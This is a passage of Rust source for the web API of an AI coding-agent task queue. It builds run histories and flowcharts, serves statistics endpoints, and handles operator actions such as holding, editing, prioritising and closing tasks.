4365            branch: None,
4366        };
4367    };
4368    let branch = review_branch_of(&s.instruction);
4369    let kind = if resumed {
4370        "resume"
4371    } else if branch.is_some() {
4372        "review"
4373    } else if task.solo || s.candidates.len() == 1 {
4374        "solo"
4375    } else {
4376        "competition"
4377    };
4378    let mut description = match kind {
4379        "resume" => {
4380            format!("Resumed run {short}: the same run carried on instead of competing again.")
4381        }
4382        "review" => format!(
4383            "Review the work already on branch `{}`: a review-only pass, no new implementation.",
4384            branch.unwrap_or_default()
4385        ),
4386        "solo" => "Solo run: one implementer straight into review.".to_owned(),
4387        _ => format!(
4388            "Competition: {} candidates judged blind.",
4389            s.candidates.len().max(1)
4390        ),
4391    };
4392    if !resumed && let Some((p, st)) = prior {
4393        description.push_str(&format!(
4394            " A retry: run {p} before it ended {}.",
4395            st.display_label()
4396        ));
4397    }
4398
4399    let status = s.status;
4400    let provisional = matches!(status, RunStatus::Stalled)
4401        || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
4402    let head = if resumed_later.is_some() {
4403        String::new()
4404    } else {
4405        match status {
4406            RunStatus::Merged => "Merged.".to_owned(),
4407            RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
4408            RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
4409            RunStatus::AlreadyInBase => {
4410                "Already in the base: this change landed under other commits, nothing was left to land."
4411                    .to_owned()
4412            }
4413            RunStatus::Stalled => {
4414                "Stalled: the judging panel never reached a quorum, so there is no verdict."
4415                    .to_owned()
4416            }
4417            RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
4418            RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
4419            RunStatus::VerifiedNoop => {
4420                "Verified no-op: the candidates found nothing to change.".to_owned()
4421            }
4422            other if other.done() => format!("Ended {}.", other.display_label()),
4423            other => format!("In progress ({}).", other.display_label()),
4424        }
4425    };
4426    let why = if let Some(k) = resumed_later {
4427        // A run is only picked up again while it is unfinished, so an earlier
4428        // pass of a repeated id stopped short; the record keeps only the run's
4429        // latest status, which is left to the pass that carried it on.
4430        // Only the latest state is recorded: `parked` is cleared on resume
4431        // and `quota` accumulates across passes, so neither says why *this*
4432        // pass stopped, and the refund is as unknown as `AttemptCost` says.
4433        let cause = if s.quota.is_empty() {
4434            "the cause was not recorded: a park, a crash or a restart all look the same from here"
4435        } else {
4436            "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
4437        };
4438        format!(
4439            " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
4440        )
4441    } else if s.parked {
4442        " Parked by the operator at a node boundary; the attempt was handed back and the run resumes."
4443            .to_owned()
4444    } else if !status.done()
4445        || matches!(
4446            status,
4447            RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
4448        )
4449    {
4450        String::new()
4451    } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4452        || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4453    {
4454        " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
4455            .to_owned()
4456    } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4457        " It left a pull request open, so the task was held for a person rather than retried."
4458            .to_owned()
4459    } else if matches!(status, RunStatus::VerifiedNoop) {
4460        " Held for a person to check the claim.".to_owned()
4461    } else if last {
4462        " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
4463    } else {
4464        " It spent an attempt, and the task moved on to the next run.".to_owned()
4465    };
4466    let exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
4467    TaskRunView {
4468        n,
4469        id: id.to_owned(),
4470        short,
4471        kind,
4472        status: Some(status.as_str()),
4473        readable: true,
4474        provisional,
4475        description,
4476        outcome: format!("{head}{why}"),
4477        created_at: Some(s.created_at),
4478        pr: s.pr.as_ref().map(|p| p.url.clone()),
4479        exit,
4480        attempt: exit.cost(),
4481        branch: branch.map(str::to_owned),
4482    }
4483}
4484
4485/// One box of the task's flowchart.
4486#[derive(Debug, Serialize, PartialEq)]
4487struct FlowNode {
4488    /// Unique by position: a resumed run id appears once per pass.
4489    key: String,
4490    /// `chat`, `start`, `run` or `end`.
4491    kind: &'static str,
4492    label: String,
4493    /// Run status (or the task's, for `end`); `None` when it is not a fact
4494    /// about this box (unreadable, or a pass the run later resumed from).
4495    status: Option<&'static str>,
4496    /// Why there is no status: `unreadable`, `interrupted` or `no verdict`.
4497    note: Option<&'static str>,
4498    run_kind: Option<&'static str>,
4499    detail: Option<String>,
4500    /// A readable run with a real verdict; a stall never is.
4501    decided: bool,
4502    readable: bool,
4503    href: Option<String>,
4504}
4505
4506#[derive(Debug, Serialize, PartialEq)]
4507struct FlowEdge {
4508    from: String,
4509    to: String,
4510    label: String,
4511    attempt: AttemptCost,
4512}
4513
4514#[derive(Debug, Serialize, PartialEq)]
4515struct FlowView {
4516    nodes: Vec<FlowNode>,
4517    edges: Vec<FlowEdge>,
4518    /// Attempts the task has counted since it was last released.
4519    attempts: usize,
4520    max_attempts: usize,
4521}
4522
4523/// Turn a task and its described runs into the flowchart's boxes and arrows.
4524/// Pure: the page only draws what this returns.
4525fn task_flow(task: &Task, history: &[TaskRunView], max_attempts: usize) -> FlowView {
4526    let node = |key: &str, kind, label: String| FlowNode {
4527        key: key.to_owned(),
4528        kind,
4529        label,
4530        status: None,
4531        note: None,
4532        run_kind: None,
4533        detail: None,
4534        decided: false,
4535        readable: true,
4536        href: None,
4537    };
4538    let mut nodes = Vec::new();
4539    let mut edges: Vec<FlowEdge> = Vec::new();
4540    // A task queued from a chat opens the flow with that conversation.
4541    if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
4542        let mut n = node(
4543            "chat",
4544            "chat",
4545            format!("Chat {}", crate::queue::short(&link.id)),
4546        );
4547        n.href = Some(link.href);
4548        nodes.push(n);
4549        edges.push(FlowEdge {
4550            from: "chat".to_owned(),
4551            to: "start".to_owned(),
4552            label: "queued from chat".to_owned(),
4553            attempt: AttemptCost::None,
4554        });
4555    }
4556    nodes.push(node("start", "start", "Task queued".to_owned()));
4557    let mut prev = "start".to_owned();
4558    let mut prev_exit: Option<(RunExit, Option<&str>)> = None;
4559    for (i, h) in history.iter().enumerate() {
4560        let key = format!("run-{}", h.n);
4561        let mut n = node(&key, "run", format!("Run {}", h.short));
4562        n.run_kind = Some(h.kind);
4563        n.readable = h.readable;
4564        n.href = Some(format!("#/runs/{}", h.id));
4565        n.decided = h.readable && !h.provisional;
4566        n.detail = h
4567            .branch
4568            .as_ref()
4569            .map(|b| format!("review-only run of branch {b}"));
4570        match h.exit {
4571            RunExit::Unreadable => n.note = Some("unreadable"),
4572            RunExit::Interrupted => n.note = Some("interrupted"),
4573            _ => {
4574                n.status = h.status;
4575                if h.provisional {
4576                    n.note = Some("no verdict");
4577                }
4578            }
4579        }
4580        let into = match h.kind {
4581            "review" => Some(format!(
4582                "review-only run of branch {}",
4583                h.branch.as_deref().unwrap_or("?")
4584            )),
4585            "resume" => Some("resume the same run".to_owned()),
4586            _ if i > 0 => Some("retry".to_owned()),
4587            _ => None,
4588        };
4589        let label = match (prev_exit, into) {
4590            (Some((e, st)), Some(i)) => format!("{} \u{2192} {i}", e.edge_label(st)),
4591            (Some((e, st)), None) => e.edge_label(st),
4592            (None, Some(i)) => i,
4593            (None, None) => "claimed".to_owned(),
4594        };
4595        edges.push(FlowEdge {
4596            from: prev.clone(),
4597            to: key.clone(),
4598            label,
4599            attempt: prev_exit.map_or(AttemptCost::None, |(e, _)| e.cost()),
4600        });
4601        prev_exit = Some((h.exit, h.status));
4602        prev = key;
4603        nodes.push(n);
4604    }
4605    let mut end = node("end", "end", task.status.as_str().to_owned());
4606    end.status = Some(task.status.as_str());
4607    nodes.push(end);
4608    let (label, attempt) = match prev_exit {
4609        None => (
4610            format!("no run yet \u{2192} {}", task.status.as_str()),
4611            AttemptCost::None,
4612        ),
4613        Some((e, st)) if e.explains(task.status) => (
4614            format!("{} \u{2192} {}", e.edge_label(st), task.status.as_str()),
4615            e.cost(),
4616        ),
4617        Some((e, _)) => (
4618            format!("closed by hand: task is {}", task.status.as_str()),
4619            e.cost(),
4620        ),
4621    };
4622    edges.push(FlowEdge {
4623        from: prev,
4624        to: "end".to_owned(),
4625        label,
4626        attempt,
4627    });
4628    FlowView {
4629        nodes,
4630        edges,
4631        attempts: task.attempts,
4632        max_attempts,
4633    }
4634}
4635
4636/// Describe every entry of `task.runs`, in order, reading each run's record
4637/// through `read`.
4638fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
4639    let mut history = Vec::with_capacity(task.runs.len());
4640    let mut seen: Vec<&str> = Vec::new();
4641    let mut prior: Option<(&str, RunStatus)> = None;
4642    for (i, run_id) in task.runs.iter().enumerate() {
4643        let state = read(run_id);
4644        let resumed = seen.contains(&run_id.as_str());
4645        seen.push(run_id);
4646        history.push(task_run_view(
4647            run_id,
4648            state.as_ref(),
4649            RunSlot {
4650                n: i + 1,
4651                resumed,
4652                resumed_later: task.runs[i + 1..]
4653                    .iter()
4654                    .position(|r| r == run_id)
4655                    .map(|off| i + off + 2),
4656                prior,
4657                last: i + 1 == task.runs.len(),
4658            },
4659            task,
4660        ));
4661        if let Some(s) = &state {
4662            prior = Some((run::short_of(run_id), s.status));
4663        }
4664    }
4665    history
4666}
4667
4668async fn task_detail(
4669    State(ui): State<Arc<Ui>>,
4670    Path(id): Path<String>,
4671) -> ApiResult<Json<TaskDetailView>> {
4672    blocking(move || {
4673        let id = resolve_task(&ui.queue, &id)?;
4674        let task = ui
4675            .queue
4676            .get(&id)
4677            .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
4678        let inv = crate::blockers::Inventory::new(ui.queue.list(), &ui.questions.list());
4679        let history = task_history(&task, |id| read_run(&ui.runs, id).ok());
4680        let runs_unreadable = history.iter().filter(|h| !h.readable).count();
4681        let max_attempts = daemon::Opts::default().max_attempts;
4682        let flow = task_flow(&task, &history, max_attempts);
4683        Ok(Json(TaskDetailView {
4684            max_attempts,
4685            flow,
4686            history,
4687            runs_unreadable,
4688            attempts_note: ATTEMPTS_NOTE,
4689            task: TaskView::with_inventory(task, &inv),
4690        }))
4691    })
4692    .await
4693}
4694
4695/// A rate together with its denominator, so the client can tell "computed as
4696/// 0%" apart from "no data to compute it from" — both would otherwise
4697/// serialize as `0.0`. `None` means the denominator was zero.
4698#[derive(Debug, Serialize)]
4699struct RateView {
4700    pct: f64,
4701    denominator: usize,
4702}
4703
4704impl RateView {
4705    fn of(numerator: usize, denominator: usize) -> Option<Self> {
4706        (denominator > 0).then(|| Self {
4707            pct: 100.0 * numerator as f64 / denominator as f64,
4708            denominator,
4709        })
4710    }
4711}
4712
4713/// [`crate::stats::Totals`] for the wire: the raw counters plus the derived
4714/// rates, each paired with its own denominator via [`RateView`] rather than
4715/// exposing `Stats`' own percentage methods directly — see this module's
4716/// doc for why `Stats` itself is never serialized.
4717#[derive(Debug, Serialize)]
4718struct StatsTotalsView {
4719    runs: usize,
4720    merged: usize,
4721    ready: usize,
4722    blocked: usize,
4723    failed: usize,
4724    stalled: usize,
4725    verified_noop: usize,
4726    superseded: usize,
4727    in_progress: usize,
4728    completion_rate: Option<RateView>,
4729    tallied: usize,
4730    split: usize,
4731    split_rate: Option<RateView>,
4732    deliberated: usize,
4733    minds_changed: usize,
4734    converged: usize,
4735    review_rounds: usize,
4736}
4737
4738impl From<&stats::Totals> for StatsTotalsView {
4739    fn from(t: &stats::Totals) -> Self {
4740        Self {
4741            runs: t.runs,
4742            merged: t.merged,
4743            ready: t.ready,
4744            blocked: t.blocked,
4745            failed: t.failed,
4746            stalled: t.stalled,
4747            verified_noop: t.verified_noop,
4748            superseded: t.superseded,
4749            in_progress: t.in_progress,
4750            completion_rate: RateView::of(t.merged + t.ready, t.runs),
4751            tallied: t.tallied,
4752            split: t.split,
4753            split_rate: RateView::of(t.split, t.tallied),
4754            deliberated: t.deliberated,
4755            minds_changed: t.minds_changed,
4756            converged: t.converged,
4757            review_rounds: t.review_rounds,
4758        }
4759    }
4760}
4761
4762/// [`crate::stats::AgentStats`] for the wire.
4763#[derive(Debug, Serialize)]
4764struct AgentStatsView {
4765    agent: String,
4766    entered: usize,
4767    wins: usize,
4768    empty: usize,
4769    win_rate: Option<RateView>,
4770}
4771
4772impl From<&stats::AgentStats> for AgentStatsView {
4773    fn from(a: &stats::AgentStats) -> Self {
4774        Self {
4775            agent: a.agent.clone(),
4776            entered: a.entered,
4777            wins: a.wins,
4778            empty: a.empty,
4779            win_rate: RateView::of(a.wins, a.entered),
4780        }
4781    }
4782}
4783
4784/// [`crate::stats::ReviewerStats`] for the wire. `adopted_per_round` is a
4785/// ratio, not a percentage, so it carries no [`RateView`] — just the raw
4786/// value, `None` when `rounds` is zero.
4787#[derive(Debug, Serialize)]
4788struct ReviewerStatsView {
4789    agent: String,
4790    rounds: usize,
4791    seated: usize,
4792    submitted: usize,
4793    adopted: usize,
4794    unique: usize,
4795    timeouts: usize,
4796    adopted_per_round: Option<f64>,
4797    precision: Option<RateView>,
4798    unique_rate: Option<RateView>,
4799    timeout_rate: Option<RateView>,
4800}
4801
4802impl From<&stats::ReviewerStats> for ReviewerStatsView {
4803    fn from(r: &stats::ReviewerStats) -> Self {
4804        Self {
4805            agent: r.agent.clone(),
4806            rounds: r.rounds,
4807            seated: r.seated,
4808            submitted: r.submitted,
4809            adopted: r.adopted,
4810            unique: r.unique,
4811            timeouts: r.timeouts,
4812            adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
4813            precision: RateView::of(r.adopted, r.submitted),
4814            unique_rate: RateView::of(r.unique, r.submitted),
4815            timeout_rate: RateView::of(r.timeouts, r.seated),
4816        }
4817    }
4818}
4819
4820/// [`crate::stats::AdvisorStats`] for the wire.
4821///
4822/// `reflection_rate` is approximate by construction — see
4823/// [`crate::stats::AdvisorStats`]'s own doc — and the UI note that carries
4824/// that caveat is static text in `index.html`, not a field here.
4825#[derive(Debug, Serialize)]
4826struct AdvisorStatsView {
4827    agent: String,
4828    seated: usize,
4829    proposed: usize,
4830    absent: usize,
4831    faint: usize,
4832    strong: usize,
4833    reflection_rate: Option<RateView>,
4834}
4835
4836impl From<&stats::AdvisorStats> for AdvisorStatsView {
4837    fn from(a: &stats::AdvisorStats) -> Self {
4838        Self {
4839            agent: a.agent.clone(),
4840            seated: a.seated,
4841            proposed: a.proposed,
4842            absent: a.absent,
4843            faint: a.faint,
4844            strong: a.strong,
4845            reflection_rate: RateView::of(a.strong, a.proposed),
4846        }
4847    }
4848}
4849
4850/// [`crate::stats::E2eStats`] for the wire.
4851#[derive(Debug, Serialize)]
4852struct E2eStatsView {
4853    rounds: usize,
4854    failures: usize,
4855    sole_detections: usize,
4856    deferred: usize,
4857    sole_rate: Option<RateView>,
4858}
4859
4860impl From<&stats::E2eStats> for E2eStatsView {
4861    fn from(e: &stats::E2eStats) -> Self {
4862        Self {
4863            rounds: e.rounds,
4864            failures: e.failures,
4865            sole_detections: e.sole_detections,
4866            deferred: e.deferred,
4867            sole_rate: RateView::of(e.sole_detections, e.failures),
4868        }
4869    }
4870}
4871
4872/// [`crate::stats::ReleaseBumpStats`] for the wire.
4873///
4874/// `clean` is sent as a raw count, computed the same way
4875/// [`stats::ReleaseBumpStats::clean`] computes it (`recorded -
4876/// needs_attention`) — never derived client-side from `automerge_enabled`,
4877/// which would misclassify a `merged_directly` bump (automerge rejected, but
4878/// magi merged it directly, so no human involvement) as needing attention.
4879#[derive(Debug, Serialize)]
4880struct ReleaseBumpStatsView {
4881    merged: usize,
4882    recorded: usize,
4883    pr_opened: usize,
4884    automerge_enabled: usize,
4885    merged_directly: usize,
4886    needs_attention: usize,
4887    clean: usize,
4888    coverage_rate: Option<RateView>,
4889    automerge_rate: Option<RateView>,
4890    attention_rate: Option<RateView>,
4891}
4892
4893impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
4894    fn from(b: &stats::ReleaseBumpStats) -> Self {
4895        Self {
4896            merged: b.merged,
4897            recorded: b.recorded,
4898            pr_opened: b.pr_opened,
4899            automerge_enabled: b.automerge_enabled,
4900            merged_directly: b.merged_directly,
4901            needs_attention: b.needs_attention,
4902            clean: b.clean(),
4903            coverage_rate: RateView::of(b.recorded, b.merged),
4904            automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
4905            attention_rate: RateView::of(b.needs_attention, b.recorded),
4906        }
4907    }
4908}
4909
4910/// [`crate::queue::TaskCounts`] for the wire.
4911#[derive(Debug, Serialize)]
4912struct TaskCountsView {
4913    queued: usize,
4914    running: usize,
4915    done: usize,
4916    failed: usize,
4917    held: usize,
4918    blocked: usize,
4919    parked: usize,
4920}
4921
4922impl From<crate::queue::TaskCounts> for TaskCountsView {
4923    fn from(c: crate::queue::TaskCounts) -> Self {
4924        Self {
4925            queued: c.queued,
4926            running: c.running,
4927            done: c.done,
4928            failed: c.failed,
4929            held: c.held,
4930            blocked: c.blocked,
4931            parked: c.parked,
4932        }
4933    }
4934}
4935
4936/// [`crate::stats::RepoStats`] for the wire, one row per repository with
4937/// runs recorded — the summary the UI's repository selector is built from.
4938/// Carries no nested `Stats`: picking a repo means re-fetching
4939/// `GET /api/stats?repo=<repo>`, which reuses this same route's own
4940/// aggregation rather than duplicating it.
4941#[derive(Debug, Serialize)]
4942struct RepoSummaryView {
4943    /// `RunState.repo` exactly as recorded — the value `?repo=` matches
4944    /// against, full path and all (see [`stats_get`]'s own doc for why).
4945    repo: String,
4946    /// Display name only; never used for matching.
4947    name: String,
4948    runs: usize,
4949    completion_rate: Option<RateView>,
4950}
4951
4952impl From<&stats::RepoStats> for RepoSummaryView {
4953    fn from(r: &stats::RepoStats) -> Self {
4954        let t = &r.stats.totals;
4955        Self {
4956            repo: r.repo.to_string_lossy().into_owned(),
4957            name: r.name.clone(),
4958            runs: t.runs,
4959            completion_rate: RateView::of(t.merged + t.ready, t.runs),
4960        }
4961    }
4962}
4963
4964/// `GET /api/stats` - the whole answer. `Stats` itself carries no
4965/// `Serialize`, deliberately: its fields (and the CLI text `report::stats`
4966/// renders from them) are free to grow without that becoming a wire-contract
4967/// change, and its zero-denominator rate methods (`0.0`) cannot tell "no
4968/// data" from "computed and it really is zero" the way [`RateView`] does.
4969#[derive(Debug, Serialize)]
4970struct StatsView {
4971    totals: StatsTotalsView,
4972    /// Best win rate first, as [`stats::collect`] already sorts it.
4973    agents: Vec<AgentStatsView>,
4974    /// Most adopted-per-round first, as [`stats::collect`] already sorts it.
4975    reviewers: Vec<ReviewerStatsView>,
4976    /// Highest reflection rate first, as [`stats::collect`] already sorts it.
4977    advisors: Vec<AdvisorStatsView>,
4978    e2e: E2eStatsView,
4979    release_bumps: ReleaseBumpStatsView,
4980    queue: TaskCountsView,
4981    /// Same count and same meaning as [`HealthView::runs_unreadable`] - see
4982    /// that field's doc. Asserted to match it in
4983    /// `stats_runs_unreadable_matches_health`.
4984    ///
4985    /// Always the whole-workload count, even when `repo` narrows every other
4986    /// field to one repository - an unreadable `run.json` carries no `repo`
4987    /// a per-repository count could attribute it to, and the queue/health
4988    /// views this mirrors never scope it either. The UI must not present it
4989    /// as if it were scoped to the selected repository.
4990    runs_unreadable: usize,
4991    /// Every repository with runs recorded, most runs first - what the UI's
4992    /// repository selector is built from. Always the full list regardless of
4993    /// `repo`, so switching repositories never needs a second request.
4994    repos: Vec<RepoSummaryView>,
4995    /// Runs per local day over the last 30 days, oldest first, always 30
4996    /// entries. Days are the *server's* local dates (the UI must not convert
4997    /// them again), cut by run creation and classified by current status.
4998    /// Narrowed by `repo` like every other run-derived field.
4999    daily: Vec<DailyStatsView>,
5000    /// The `?repo=` value this response was narrowed to, echoed back so the
5001    /// UI can confirm its selection round-tripped. `None` for the aggregate,
5002    /// all-repositories view.
5003    repo: Option<String>,
5004    /// Agent ids left out of `agents` / `reviewers` / `advisors` because the
5005    /// current config roster no longer lists them. Empty with `?all=true`, an
5006    /// unreadable config, or when nothing was retired.
5007    retired_hidden: Vec<String>,
5008}
5009
5010/// One day of [`StatsView::daily`].
5011#[derive(Debug, Serialize)]
5012struct DailyStatsView {
5013    /// `YYYY-MM-DD`, server-local.
5014    date: String,
5015    runs: usize,
5016    merged: usize,
5017    ready: usize,
5018    other: usize,
5019    /// `None` on a day with no runs, so it never reads as 0%.
5020    completion_rate: Option<RateView>,
5021}
5022
5023impl From<&stats::DayBucket> for DailyStatsView {
5024    fn from(b: &stats::DayBucket) -> Self {
5025        Self {
5026            date: b.date.to_string(),
5027            runs: b.runs,
5028            merged: b.merged,
5029            ready: b.ready,
5030            other: b.other,
5031            completion_rate: RateView::of(b.merged + b.ready, b.runs),
5032        }
5033    }
5034}
5035
5036/// How many days [`StatsView::daily`] covers.
5037const STATS_DAILY_DAYS: usize = 30;
5038
5039/// `?repo=<path>` narrows `GET /api/stats` to the runs recorded against one
5040/// repository. Matched by full-path equality against `RunState.repo` only
5041/// (see [`stats::filter_repo`]) - never resolved by name the way the CLI's
5042/// `--repo` is, because the value here always came from this same route's
5043/// own `repos` list in an earlier response, never typed by a human. A value
5044/// matching no run is a 404, not an empty aggregate: the caller asked for a
5045/// specific, named repository, and silently returning zeroes would look
5046/// exactly like a repository that has runs but none of interest.
5047#[derive(Debug, Default, Deserialize)]
5048#[serde(default)]
5049struct StatsQuery {
5050    repo: Option<String>,
5051    /// `?all=true` keeps agents that are no longer in the roster.
5052    all: bool,
5053}
5054
5055/// `GET /api/stats` - task and run statistics for the dashboard, aggregated
5056/// by [`stats::collect`] (or [`stats::collect_refs`] over one repository's
5057/// runs when `?repo=` narrows it), the same counting logic `magi stats`
5058/// prints from. Reads every readable run on disk, exactly as
5059/// [`runs_unreadable`] does, so the two counts can never drift apart the way
5060/// a separately-maintained tally could.
5061async fn stats_get(
5062    State(ui): State<Arc<Ui>>,
5063    Query(q): Query<StatsQuery>,
5064) -> ApiResult<Json<StatsView>> {
5065    blocking(move || {
5066        let states: Vec<RunState> = run_ids(&ui.runs)
5067            .into_iter()
5068            .filter_map(|id| read_run(&ui.runs, &id).ok())
5069            .collect();
5070        let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
5071            .iter()
5072            .map(RepoSummaryView::from)
5073            .collect();
5074        let mut scoped: Vec<&RunState> = states.iter().collect();
5075        let mut collected = match &q.repo {
5076            Some(repo) => {
5077                let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
5078                if filtered.is_empty() {
5079                    return Err(ApiError::not_found(format!(
5080                        "no runs recorded against repo `{repo}`"
5081                    )));
5082                }
5083                scoped = filtered.clone();
5084                stats::collect_refs(filtered)
5085            }
5086            None => stats::collect(&states),
5087        };
5088        if !q.all {
5089            let repo = q
5090                .repo
5091                .as_deref()
5092                .map_or_else(|| ui.repo.clone(), PathBuf::from);
5093            stats::retain_current_roster(&mut collected, &repo);
5094        }
5095        let daily = stats::daily(
5096            scoped,
5097            jiff::Zoned::now().date(),
5098            &jiff::tz::TimeZone::system(),
5099            STATS_DAILY_DAYS,
5100        );
5101        let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
5102        Ok(Json(StatsView {
5103            totals: StatsTotalsView::from(&collected.totals),
5104            agents: collected.agents.iter().map(AgentStatsView::from).collect(),
5105            reviewers: collected
5106                .reviewers
5107                .iter()
5108                .map(ReviewerStatsView::from)
5109                .collect(),
5110            advisors: collected
5111                .advisors
5112                .iter()
5113                .map(AdvisorStatsView::from)
5114                .collect(),
5115            e2e: E2eStatsView::from(&collected.e2e),
5116            release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
5117            queue: TaskCountsView::from(queue_counts),
5118            runs_unreadable: runs_unreadable(&ui.runs),
5119            repos,
5120            daily: daily.iter().map(DailyStatsView::from).collect(),
5121            repo: q.repo.clone(),
5122            retired_hidden: collected.retired_hidden.clone(),
5123        }))
5124    })
5125    .await
5126}
5127
5128/// The body of `POST /api/queue/{id}/hold`, sent empty when the operator
5129/// gives no reason - which must keep working, since not every hold has one.
5130#[derive(Debug, Default, Deserialize)]
5131#[serde(default, deny_unknown_fields)]
5132struct HoldBody {
5133    reason: Option<String>,
5134}
5135
5136async fn queue_hold(
5137    State(ui): State<Arc<Ui>>,
5138    Path(id): Path<String>,
5139    body: std::result::Result<Json<HoldBody>, JsonRejection>,
5140) -> ApiResult<Json<TaskView>> {
5141    // An absent body is the ordinary case - most holds are unexplained, and
5142    // that has to stay a one-tap action rather than a form. A body that is
5143    // present and malformed is still a bad request.
5144    let body = match body {
5145        Ok(Json(body)) => body,
5146        Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
5147        Err(e) => return Err(ApiError::bad_request(e.body_text())),
5148    };
5149    let reason = body.reason.filter(|r| !r.trim().is_empty());
5150    mutate(ui, id, move |t| {
5151        t.hold_manual(reason.clone());
5152        Ok(())
5153    })
5154    .await
5155}
5156
5157async fn queue_release(
5158    State(ui): State<Arc<Ui>>,
5159    Path(id): Path<String>,
5160) -> ApiResult<Json<TaskView>> {
5161    mutate(ui, id, |t| {
5162        t.release();
5163        Ok(())
5164    })
5165    .await
5166}
5167
5168/// The body of `POST /api/queue/{id}/priority`.
5169#[derive(Debug, Deserialize)]
5170#[serde(deny_unknown_fields)]
5171struct PriorityBody {
5172    priority: i32,
5173}
5174
5175/// `POST /api/queue/{id}/priority` - the up/down control on the Queue card.
5176///
5177/// [`Task::set_priority`] is the one place the "not while running" rule is
5178/// stated; this route only carries the body to it and lets its `Err` become
5179/// the 4xx the card shows.
5180async fn queue_priority(
5181    State(ui): State<Arc<Ui>>,
5182    Path(id): Path<String>,
5183    body: std::result::Result<Json<PriorityBody>, JsonRejection>,
5184) -> ApiResult<Json<TaskView>> {
5185    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5186    mutate(ui, id, move |t| t.set_priority(body.priority)).await
5187}
5188
5189/// The body of `POST /api/queue/{id}/edit`.
5190#[derive(Debug, Deserialize)]
5191#[serde(deny_unknown_fields)]
5192struct EditBody {
5193    title: String,
5194    instruction: String,
5195    /// Save even though the new text names a branch, commit or pull request
5196    /// that unfinished work already owns.
5197    #[serde(default)]
5198    force: bool,
5199}
5200
5201/// `POST /api/queue/{id}/edit` - the full-text replacement the phone's edit
5202/// sheet sends. [`Task::edit`] refuses anything but `queued` and `held`, and
5203/// that refusal's message is what the sheet shows back.
5204async fn queue_edit(
5205    State(ui): State<Arc<Ui>>,
5206    Path(id): Path<String>,
5207    body: std::result::Result<Json<EditBody>, JsonRejection>,
5208) -> ApiResult<Json<TaskView>> {
5209    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5210    // The judge is an agent call, so it is awaited here, outside the claim
5211    // `mutate` holds: a daemon must not be kept waiting on it. What it saw is
5212    // remembered, and the save refuses if the task moved underneath it.
5213    let mut judged: Option<(String, PathBuf)> = None;
5214    if !body.force {
5215        let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
5216        let (id, text) = (id.clone(), body.instruction.clone());
5217        let (seen, hits) = blocking(move || {
5218            let id = resolve_task(&queue, &id)?;
5219            let t = queue.get(&id)?;
5220            if text == t.instruction {
5221                return Ok((None, Vec::new()));
5222            }
5223            let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
5224            Ok((Some((t.instruction, t.repo)), hits))
5225        })
5226        .await?;
5227        if let Some((_, repo)) = &seen {
5228            let cfg = crate::config::Config::discover(repo, None)
5229                .ok()
5230                .map(|(c, _)| c);
5231            let screened =
5232                crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
5233                    .await
5234                    .map_err(|dup| {
5235                        ApiError::conflict(dup.render(
5236                            "Nothing was saved. If it is not a duplicate, repeat the request \
5237                             with \"force\": true.",
5238                        ))
5239                    })?;
5240            if let crate::dupes::Screened::Unjudged(why) = screened {
5241                tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
5242            }
5243        }
5244        judged = seen;
5245    }
5246    let force = body.force;
5247    mutate(ui, id, move |t| {
5248        if !force && body.instruction != t.instruction {
5249            match &judged {
5250                Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
5251                _ => {
5252                    anyhow::bail!("the task changed while it was being checked; repeat the request")
5253                }
5254            }
5255        }
5256        t.edit(body.title.clone(), body.instruction.clone())
5257    })
5258    .await
5259}
5260
5261/// `POST /api/queue/{id}/done` - close a task as finished without deleting
5262/// it, so the phone's other way to clear a task from the backlog does not
5263/// have to cost the run history, the attribution, and `created_at` the way
5264/// [`queue_delete`] does. Behaves exactly like `magi task done`: any status
5265/// can be marked done by hand, because this is for the run the loop never
5266/// saw land - a merge done by hand, or a gate that misreported - and that can
5267/// happen from any status the task was left in.
5268async fn queue_done(
5269    State(ui): State<Arc<Ui>>,
5270    Path(id): Path<String>,
5271) -> ApiResult<Json<TaskView>> {
5272    let home = ui.home.clone();
5273    mutate(ui, id, move |t| {
5274        t.succeed();
5275        // Same as the loop's own settle path: closing a task by hand is just
5276        // as much "this task's story is over" as a daemon-driven `Merged`/
5277        // `Ready` is, so any earlier `Blocked`/`Stalled` attempt it leaves
5278        // behind must stop looking like it still needs a human. `ui.home`,
5279        // not the process-global `run::home()`: they agree in a real
5280        // process, but only `ui.home` also agrees with a test fixture's own
5281        // directory.
5282        crate::daemon::supersede_prior_runs(t, &home);
5283        Ok(())
5284    })
5285    .await
5286}
5287
5288/// `DELETE /api/queue/{id}`.
5289///
5290/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
5291/// names this task: a `running` status or an orphaned `.lock` left behind by a
